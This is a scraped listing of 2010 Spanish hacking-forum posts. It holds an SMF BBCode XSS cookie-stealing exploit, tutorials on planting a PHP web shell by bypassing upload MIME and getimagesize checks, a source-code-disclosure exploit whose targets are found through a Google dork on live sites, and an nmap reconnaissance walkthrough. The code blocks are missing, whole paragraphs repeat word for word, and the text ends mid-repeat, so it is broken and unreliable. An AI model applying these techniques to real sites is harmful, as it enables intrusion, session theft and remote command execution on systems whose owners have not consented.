---------------------------------------------------------
Salu2
#25
Bugs y Exploits / XSS BBCode Exploit SMF All Versions
Febrero 25, 2010, 11:19:12 AM
Author: Xianur0
BBCode of the smf not filtered properly specified urls:
Click on the image, run the javascript..
BBC Cookie Exploit:
PHP Cookie Stealer:
BBCode of the smf not filtered properly specified urls:
Click on the image, run the javascript..
BBC Cookie Exploit:
PHP Cookie Stealer:
#26
Bugs y Exploits / Codeando un exploit II: Bypass uploaders & RCE
Febrero 24, 2010, 03:28:59 PM
Estamos aquí con otro tutorial de como codear un exploit, esta vez vamos a empezar a marcar ciertos patrones que siempre (o en la mayoría de los casos) vamos a usar. Esta vez no vamos a usar una vulnerabilidad pública (siempre intentaré usar vulnerabilidad es públicas por aquello de que podais encontrar "ejemplos prácticos reales").
Hay por ahí personas que aseguran que el 70% de los uploaders web presentan alguna forma de bypassearlos para subir extensiones que no estén permitidos. A mi humilde parecer estas cifras son demasiado altas, pero bueno... Hoy vamos a aplicar una forma automatizada de subir una shell PHP a un host a través de un uploader que presente un deficiente filtrado basado en mirar el MIME type o use la función getimagesize(). Aqui no vamos a hablar en detalle de cómo funcionan estos filtros, existe por ahí un paper que creo que era de vZack que hablaba más en profundidad de ello, os remito a que googleeis a por él.
Si ya habeis localizado ese u otro paper que hable del tema podemos continuar. Como habreis leido, si el script que sube el fichero bloquea los archivos PHP basándose en el MIME type, símplemente mandando una cabecera modificada donde se modifique el type por uno que esté permitido (normalmente un image/gif o image/jpeg); y en el caso de getimagesize() símplemente con poner al inicio del archivo la cabecera de la extensión (GIF89a, en nuestro caso ya que nuestro exploit va a "camuflarse" como un .gif).
Bien, al igual que la otra ocasión, lo primero es ver cómo implementar la vulnerabilidad en un programa y segundo esquematizar mentalmente las partes de las que constará nuestro exploit. Para la primera cuestión es fácil, para subir el archivo mandamos una cabecera ya modificada que contenga nuestra shell con el identificador de extensión ya incluido, es decir algo así:
Tras la primera parte, podemos deducir de inicio que vamos a necesitar los mismos módulos que la vez anterior (LWP y HTTP::Response::Common). Como variables necesaritaremo s una que indique la URL donde se sitúa el script PHP que actúa como uploader y otra que será la dirección donde se suben los ficheros
Nota: para el segundo se presupone que ya tenemos este conocimiento, lo normal es sacarlo por deducción observando la web o bien a través de un FPD
Despues tendremos que mandar la susodicha cabecera, y posteriormente ejecutaremos comandos directamente (por aquello de no ingresar a la URL por el navegador). El code (que paso a comentar línea a línea lo nuevo) sería algo parecido a esto:
En estas líneas lo que hacemos es mandar la cabecera al upload con el bypass hecho. Nótese que nuestro fichero es fos.gif.
Lo siguiente es, que si se ha subido el fichero, ingrese por GET ejecutando el comando id y muestra el resultado. El resto es un bucle DO-UNTIL en el cual emulará a una shell normal, en la cual nosotros introduciremos los comandos a ejecutar, dicho comando se pasará por GET al fichero que hemos subido, y nuestro exploit leera lo que vomita la web y te lo mostrará. Para dejar de mandar comandos y salir del exploit escribimos "salir":
Hasta aquí todo bien. Ahora tenemos que ver las partes "nuevas" que hemos añadido para complementar un poco al exploit. La primera es hacer una comprobación de si todos los parámetros han sido introducidos, hay varias formas, esta quizás no es la más adecuada pero es sencilla y simple. Lo único que hace es comprobar si se introduce un segundo parámetro:
De tener un "syntax error" nos saltará la subrutina &usage; la cual definimos al final del código y consiste en simplemente mostrar un mensaje de como se usa y cerrar el script:
Hay por ahí personas que aseguran que el 70% de los uploaders web presentan alguna forma de bypassearlos para subir extensiones que no estén permitidos. A mi humilde parecer estas cifras son demasiado altas, pero bueno... Hoy vamos a aplicar una forma automatizada de subir una shell PHP a un host a través de un uploader que presente un deficiente filtrado basado en mirar el MIME type o use la función getimagesize(). Aqui no vamos a hablar en detalle de cómo funcionan estos filtros, existe por ahí un paper que creo que era de vZack que hablaba más en profundidad de ello, os remito a que googleeis a por él.
Si ya habeis localizado ese u otro paper que hable del tema podemos continuar. Como habreis leido, si el script que sube el fichero bloquea los archivos PHP basándose en el MIME type, símplemente mandando una cabecera modificada donde se modifique el type por uno que esté permitido (normalmente un image/gif o image/jpeg); y en el caso de getimagesize() símplemente con poner al inicio del archivo la cabecera de la extensión (GIF89a, en nuestro caso ya que nuestro exploit va a "camuflarse" como un .gif).
Bien, al igual que la otra ocasión, lo primero es ver cómo implementar la vulnerabilidad en un programa y segundo esquematizar mentalmente las partes de las que constará nuestro exploit. Para la primera cuestión es fácil, para subir el archivo mandamos una cabecera ya modificada que contenga nuestra shell con el identificador de extensión ya incluido, es decir algo así:
Tras la primera parte, podemos deducir de inicio que vamos a necesitar los mismos módulos que la vez anterior (LWP y HTTP::Response::Common). Como variables necesaritaremo s una que indique la URL donde se sitúa el script PHP que actúa como uploader y otra que será la dirección donde se suben los ficheros
Nota: para el segundo se presupone que ya tenemos este conocimiento, lo normal es sacarlo por deducción observando la web o bien a través de un FPD
Despues tendremos que mandar la susodicha cabecera, y posteriormente ejecutaremos comandos directamente (por aquello de no ingresar a la URL por el navegador). El code (que paso a comentar línea a línea lo nuevo) sería algo parecido a esto:
En estas líneas lo que hacemos es mandar la cabecera al upload con el bypass hecho. Nótese que nuestro fichero es fos.gif.
Lo siguiente es, que si se ha subido el fichero, ingrese por GET ejecutando el comando id y muestra el resultado. El resto es un bucle DO-UNTIL en el cual emulará a una shell normal, en la cual nosotros introduciremos los comandos a ejecutar, dicho comando se pasará por GET al fichero que hemos subido, y nuestro exploit leera lo que vomita la web y te lo mostrará. Para dejar de mandar comandos y salir del exploit escribimos "salir":
Hasta aquí todo bien. Ahora tenemos que ver las partes "nuevas" que hemos añadido para complementar un poco al exploit. La primera es hacer una comprobación de si todos los parámetros han sido introducidos, hay varias formas, esta quizás no es la más adecuada pero es sencilla y simple. Lo único que hace es comprobar si se introduce un segundo parámetro:
De tener un "syntax error" nos saltará la subrutina &usage; la cual definimos al final del código y consiste en simplemente mostrar un mensaje de como se usa y cerrar el script:
The X-C3LL
#27
Bugs y Exploits / Codeando un exploit I: Source Code Disclosure
Febrero 24, 2010, 03:28:43 PMCitarBueno para empezar ami mucho me interesó a interpretar y codear un Exploit , pués me encontré con varios post[/i]
y entre ellos me ví con esto que me interesó mucho y me ayudó. a parte de eso para tener un poco mas de entendimiento tienen que saber lenguajes básicos como Html, PHP y perl , el tema es escrito por The X-C3LL .
=======================================================================================
Codeando un exploit I: Source Code Disclosure
La verdad es que es muy común ver mensajes en esta sección de "cómo codeo un exploit" al cual siempre contestamos de la misma forma "aprende a programar". Así que me he propuesto explicar de forma muy básica el cómo codearnos un exploits sencillos en perl. Como ahora mismo estoy en la previa a los exámenes, no tengo mucho tiempo, así que vamos a empezar con una vulnerabilidad sencilla como puede ser un Source Code Disclosure (SCD). Si no tienes ni idea de lo que és, hecha un ojo aquí ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
Para trabajar, vamos a usar una vulnerabilidad pública ya que descubrió Seth en un CMS llamado QuipusNews. En el link que os dejé viene una referencia a dicha vulnerabilidad y el exploit que codeó para explotarla. La verdad es que a día de hoy miras el exploit y te das cuenta de que se podría simplificar mucho.... y es lo que vamos a hacer, crear un exploit paralelo a ese pero más ordenado y simplificado.
Así que lo primero que vamos a hacer va a ser localizar una web vulnerable para ver cómo funciona la vulnerabilidad (nos remitiremos al dork "Actualizado usando QuipusNews"). Cuando hayamos localizado un objetivo que use este CMS, procedemos a tratar de incluir un fichero (P.E.: index.php) y, cuando lo cargue, mirad el código fuente. Si todo ha ido bien, veremos el source de index.php
Bien de esta sencilla práctica podemos deducir cómo va a funciona nuestro exploit. Primero setearemos las variables, que a simple vista podemos ver que van a ser una para determinar el host vulnerable, otra para el directorio donde se sitúa el script vulnerable y una última para indicar qué archivo deseamos de ver.
La segunda parte sería la de establecer la conexión con el host y leer el archivo que deseamos. En el exploit que codió Seth (y que le ayudé ) usaba sockets para esto. La verdad es que existe una forma más simplificada y es usando librerías especializadas que ya hagan este trabajo. Nosotros vamos a usar dos en concreto, LWP y HTTP. Aquí dejo el código y vamos a ir viéndolo parte por parte:
Las primeras líneas:
Estas líneas son la declaración de qué modulos deben de incluirse para el funcionamiento del programa. En las siguientes,
seteamos las variables que vamos a emplear, que son las que comenté anteriormente. Posteriormente concatenamos todo para tener la URL donde deberemos de ingresar:
Posteriormente pasamos a crear una simulación de un navegador:
Y procedemos a realizar una petición GET a la url que montemos concatenando los parámetros:
El la parte del die se emplea por si no ha habido suerte y ha ocurrido algún problema. Dicho problema se muestra a través de status_line (P.E.: 404 Not Found). Para finalizar mostramos el contenido en pantalla del código fuente:
No le he añadido detalles básicos al exploit, como puede ser algo de texto, la información sobre el bug y cómo lo explota, una subrutina &usage para mostra el uso en caso de syntax error, unos condicionales que verifiquen la sintaxis de los parámetros, etc... esto ya lo veremos otro día. Lo de hoy ha sido sínplemente una toma de contacto para que veais que los exploits no son programas místicos creados por el demonio inentendibles. Un exploit no es más que un programa.
Byt3z
PD: Se me olvidaba mostrar el output:
The X-C3LL
#28
Bugs y Exploits / Analisis De Puertos,Identificacion de sistema,servicios del mismo
Febrero 24, 2010, 03:26:55 PM
###################################
#Author: blood_rec
#Colaborators: Georgio
#blog: http://h4xxor.blogspot.com
#web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#contact: blood_rec @el-hacker.org
#Musica Durante: Metallica
###################################
Importancia de El
########################################################################
# Analisis De Puertos,Identificacion de sistema,servicios del mismo...
########################################################################
==========================================================================================================================================================
A-Introduccion:
A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...
A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...
pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...
a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...
El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD
B-Comienzo:
Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...
Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco
Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:
[ go0ns@squad # nmap 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:29 GMT
All 1715 scanned ports on 192.168.56.1 are filtered
MAC Address: 00:76:62:6E:65:74 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]
Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:
[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]
UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:
[ go0ns@squad # nmap 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:28 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address:Unknown)
Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds
]
Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:
#####################
#Puerto | Servicio #
#####################
#25/tcp | smpt #
#80/tcp | http #
#110/tcp | pop3 #
#1241/tcp| nessus #
#2500/tcp| rtsserv #
#####################
Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...
en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..
ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos
[ go0ns@squad # nmap -O 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:32 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address: (Unknown)
No exact OS matches for host (If you know what OS is running on it, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
TCP/IP fingerprint:
OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA
OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC
OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6
OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T
OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds
]
Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:
[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]
Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..
[go0ns@squad # nmap -T Aggressive -A -v 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-27 01:43 GMT
Initiating ARP Ping Scan at 01:43
Scanning 192.168.56.1 [1 port]
Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:43
Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed
Initiating SYN Stealth Scan at 01:43
Scanning 192.168.56.1 [1715 ports]
Discovered open port 25/tcp on 192.168.56.1
Discovered open port 80/tcp on 192.168.56.1
Discovered open port 110/tcp on 192.168.56.1
Discovered open port 2500/tcp on 192.168.56.1
Discovered open port 1241/tcp on 192.168.56.1
Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)
Initiating Service scan at 01:43
Scanning 5 services on 192.168.56.1
Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.1
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 01:43
Completed SCRIPT ENGINE at 01:43, 5.05s elapsed
Host 192.168.56.1 appears to be up ... good.
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4
MAC Address: (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.23
Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: go0ns.s3rver
Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds
Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB) ]
Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.
Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:
[ PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4 ]
Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :
[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]
Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.
y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?
por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos
[ OS details: Linux 2.6.13 - 2.6.23 ]
Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..
otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:
[ go0ns.squad # xprobe2 -v 192.168.56.1
* Primary guess:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
* Other guesses:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
* Cleaning up scan engine
* Modules deinitialized
* Execution completed ]
casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.
Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.
entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...
si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.
pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..
entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..
si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..
espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:
nmap
Zenmap
Amap
Maltego
httprint
unicornscan
xprobe
son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...
Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..
###########
#blood_rec#
###########
#Author: blood_rec
#Colaborators: Georgio
#blog: http://h4xxor.blogspot.com
#web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#contact: blood_rec @el-hacker.org
#Musica Durante: Metallica
###################################
Importancia de El
########################################################################
# Analisis De Puertos,Identificacion de sistema,servicios del mismo...
########################################################################
==========================================================================================================================================================
A-Introduccion:
A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...
A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...
pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...
a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...
El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD
B-Comienzo:
Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...
Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco
Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:
[ go0ns@squad # nmap 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:29 GMT
All 1715 scanned ports on 192.168.56.1 are filtered
MAC Address: 00:76:62:6E:65:74 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]
Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:
[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]
